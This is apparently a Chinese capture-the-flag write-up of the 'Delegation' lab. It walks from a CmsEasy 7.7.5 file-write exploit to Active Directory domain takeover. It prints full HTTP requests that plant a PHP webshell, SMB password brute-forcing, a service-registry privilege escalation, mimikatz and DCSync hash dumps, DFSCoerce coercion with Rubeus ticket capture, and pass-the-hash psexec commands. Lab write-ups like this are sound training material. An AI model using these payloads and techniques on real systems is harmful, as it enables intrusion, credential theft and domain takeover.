晋升荣耀黄金

Delegation是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

  • Brute Force
  • Privilege Elevation
  • Kerberos
  • 域渗透

外网边界

信息搜集

访问ip

不多废话,先简单打波poc

好大个 cmseasy,看下源代码

cmseasy 7.7.5,去 opencve 搜搜看

CmsEasy V7.7.5_20210919 后台任意文件写

参考文章:CmsEasy_7.7.5_20211012存在任意文件写入和任意文件读取漏洞 | jdr

第一步要登录后台,看看有没有弱口令,/admin 就是后台

有验证码,不好爆破,试几个常用的弱口令

admin:123456进去了

获得驻足点

poc如下:

POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 39.99.128.51
Content-Length: 69
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: PHPSESSID=7h6abk5jk11tvu8uf7cgab26mg; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313
Connection: close

sid=#data_d_.._d_.._d_.._d_1.php&slen=693&scontent=<?php phpinfo();?>

../../ 就是根目录

那直接写个php马即可

POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 39.99.128.51
Content-Length: 69
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: PHPSESSID=7h6abk5jk11tvu8uf7cgab26mg; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313
Connection: close

sid=#data_d_.._d_.._d_.._d_hacker.php&slen=693&scontent=<?php @eval($_POST['hacker']);?>

尝试获取flag(失败)

没有权限,看来得提权了

上线msf

伪终端命令:

python3 -c "import pty;pty.spawn('/bin/bash')"

信息搜集

找配置文件

'password'=>'Root@O4oLkum3',//数据库密码
'user'=>'root',//数据库用户名

尝试去ssh连一下,没成功

连上数据库,翻翻users表,啥也没有

试试UDF提权?没权限

上linpeas!

suid-diff提权


diff 可以与任意文件比较输出差异,+suid 下跟空设备比较就能实现任意文件读

LFILE=/home/flag/flag01.txt
./diff --line-format=%L /dev/null $LFILE

  ____  U _____ u  _     U _____ u   ____      _       _____             U  ___ u  _   _
 |  _"\ \| ___"|/ |"|    \| ___"|/U /"___|uU  /"\  u  |_ " _|     ___     \/"_ \/ | \ |"|
/| | | | |  _|" U | | u   |  _|"  \| |  _ / \/ _ \/     | |      |_"_|    | | | |<|  \| |>
U| |_| |\| |___  \| |/__  | |___   | |_| |  / ___ \    /| |\      | | .-,_| |_| |U| |\  |u
 |____/ u|_____|  |_____| |_____|   \____| /_/   \_\  u |_|U    U/| |\u\_)-\___/  |_| \_|
  |||_   <<   >>  //  \\  <<   >>   _)(|_   \\    >>  _// \\_.-,_|___|_,-.  \\    ||   \\,-.
 (__)_) (__) (__)(_")("_)(__) (__) (__)__) (__)  (__)(__) (__)\_)-' '-(_/  (__)   (_")  (_/

flag01: flag{9a5e1ad5-2468-4950-a4b6-e7d71024847e}

Great job!!!!!!

Here is the hint: WIN19\Adrian

I'll do whatever I can to rock you...

给我们了一个hint🤔:WIN19\Adrian,还有rockyou

搭建内网代理

./chisel server -p 19999 -socks5
./chisel client 39.99.128.51:19999 socks &

内网

查看内网网段

本机内网ip为 172.22.4.36,内外网段为 172.22.4.0/24

fscan大保健

./fscan -h 172.22.4.0/24 > 1.txt

没扫到洞

172.22.4.7   DC01.xiaorang.lab
172.22.4.45  XIAORANG\WIN19
172.22.4.19  FILESERVER.xiaorang.lab

尝试 AS-REP Roasting(失败)

我们不是有个 Adrian 用户名吗,试试看有没有关闭预认证

proxychains python GetNPUsers.py -usersfile /mnt/c/Users/Anonymous/Desktop/users.txt -format john -dc-ip 172.22.4.7 xiaorang.lab/


失败

密码喷洒

SMB尝试下数据库密码:Root@O4oLkum3,也失败了

拿下 XIAORANG\WIN19 172.22.4.45:smb密码爆破

题目提示rockyou,爆破SMB密码

proxychains -q netexec smb 172.22.4.45 -u "WIN19\Adrian" -p rockyou.txt --ignore-pw-decoding

爆破到密码

WIN19\Adrian:babygirl1

密码过期问题

显示密码过期

  • 使用 rdesktop 能够登上去更改密码

然后mstsc连接即可

信息搜集

凭据搜集

没有找到什么可用的

权限提升

命名管道提权(失败)

privescCheck

我在桌面看到了一个文件夹 privescCheck ,PrivescCheck: 是一个权限提升的检查脚本

这里显示我们可以修改任意服务的注册表项

C:\Users\Adrian>reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Adrian\Desktop\ma.exe" /f
操作成功完成。

C:\Users\Adrian>sc qc gupdate
[SC] QueryServiceConfig 成功

SERVICE_NAME: gupdate
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\Adrian\Desktop\ma.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Google 更新服务 (gupdate)
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem

C:\Users\Adrian>sc start gupdate


进去后赶紧进行一个migrate来驻足,不然服务一会会断掉

其实winpeas也能扫出来

获取flag02

hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab:::
Adrian:1003:aad3b435b51404eeaad3b435b51404ee:f67f5e3f66efd7298be6acd32eeeb27c:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                 
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:44d8d68ed7968b02da0ebddafd2dd43e::: 

mimikatz 抓取密码

Username  Domain    NTLM                              SHA1                                     
Adrian    WIN19     f67f5e3f66efd7298be6acd32eeeb27c  78637967d96d8a30553a3840f4511bdafa4179d4 
WIN19$    XIAORANG  b1743cc34e7261e78d820e85d8b747ac  f02639be39bc20d3780862255c11896e6c44189c
WIN19$    XIAORANG  5943c35371c96f19bda7b8e67d041727  5a4dc280e89974fdec8cf1b2b76399d26f39b8f8

域内信息搜集

我们终于到域中了

  • 域用户

    Aldrich 和 Marcus 都是普通域用户

域内ACL

没发现什么

域内委派

proxychains4 -q python findDelegation.py xiaorang.lab/'WIN19$' -hashes :b1743cc34e7261e78d820e85d8b747ac -dc-ip 172.22.4.7

发现这台机子具有非约束委派,众所周知在认证具有非约束委派的主机时会连带自己的TGT一起发送,从而使该主机具有用户的权限

非约束委派+强制身份认证

利用 dfscoerce 漏洞强制域控访问我们来拿到域控的TGT

proxychains -q python3 ./dfscoerce.py -u "WIN19$" -hashes :75c57edd62d1aa0a49f56a1e8a0becdb -d xiaorang.lab -dc-ip 172.22.4.7 WIN19.xiaorang.lab 172.22.4.7

监听TGT

Rubeus.exe monitor /interval:1 /filteruser:DC01$ /nowrap

Rubeus ptt /ticket:<b64 TGT>

mimikatz dcsync

502     krbtgt  767e06b9c74fd628dd13785006a9092b        514
1105    Aldrich 98ce19dd5ce74f670d230c7b1aa016d0        512
1106    Marcus  b91c7cc463735bf0e599a2d0a04df110        512
1112    WIN-3X7U15C2XDM$        c3ddf0ffd17c48e6c40e6eda9c9fbaf7        4096
1113    WIN-YUUAW2QG9MF$        125d0e9790105be68deb6002690fc91b        4096
1000    DC01$   d8272d6f460349f81dee4a84f15d5d9f        532480
500     Administrator   4889f6553239ace1f7c47fa2c619c252        512
1104    WIN19$  75c57edd62d1aa0a49f56a1e8a0becdb        528384
1103    FILESERVER$     b60e0379df027f690643fa1321f98802        4096

impackt-psexec

proxychains -q python psexec.py "xiaorang.lab/administrator@172.22.4.19" -dc-ip 172.22.4.7 -hashes :4889f6553239ace1f7c47fa2c619c252

proxychains -q python psexec.py "xiaorang.lab/administrator@172.22.4.7" -dc-ip 172.22.4.7 -hashes :4889f6553239ace1f7c47fa2c619c252

总结

  • 梳理一下整个内网思路:
    smb爆破拿下 win1 远程桌面 –> 注册表修改服务 ImagePath 提权SYSTEM 进入域 –> 发现 win1 有非约束委派,PetitPotam/DFSCoerce+Rubeus 获得域控的TGT –> dcsync 导出用户hash接管整个域

  • 我遇到的问题

  1. 那个密码过期问题,我远程桌面一连就断了,根本改不了密码。看来wp发现 rdesktop 可以正常连接。
  2. 学习了非约束委派+强制认证的组合拳
⬆︎TOP